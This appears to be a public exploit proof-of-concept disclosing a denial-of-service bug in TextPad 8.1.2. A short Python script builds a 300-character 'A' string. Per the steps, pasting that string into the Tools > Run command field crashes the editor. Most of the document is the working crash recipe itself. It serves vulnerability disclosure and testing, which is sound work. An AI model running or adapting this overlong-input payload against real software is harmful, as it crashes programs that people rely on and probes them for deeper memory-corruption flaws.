# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC) # Discovery by: Shubham Singh # Known As: Spirited Wolf [Twitter: @Pwsecspirit] # Youtube Channel: www.youtube.com/c/Pentestingwithspirit # Discovey Date: 24-08-2018 # Homepage: https://textpad.com # Software Link: # 1. For x86: https://textpad.com/download/v81/win32/txpeng812-32.zip # 2. For x86_64: https://textpad.com/download/v81/x64/txpeng812-64.zip # Tested Version: 8.1.2 # Tested on OS: Windows 7 Ultimate 64 bit # Steps to Reproduce: # 1. Run the python exploit script, it will create a new file with the name "exploit.txt". # 2. Just copy the text inside "exploit.txt" and start the program. # 3. In the new window click "Tools" > "Run...". Now paste the content of "exploit.txt". # 4. Into the fields:"Command". Click "OK" and you will see a crash. #!/usr/bin/python buffer = "A" * 300 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"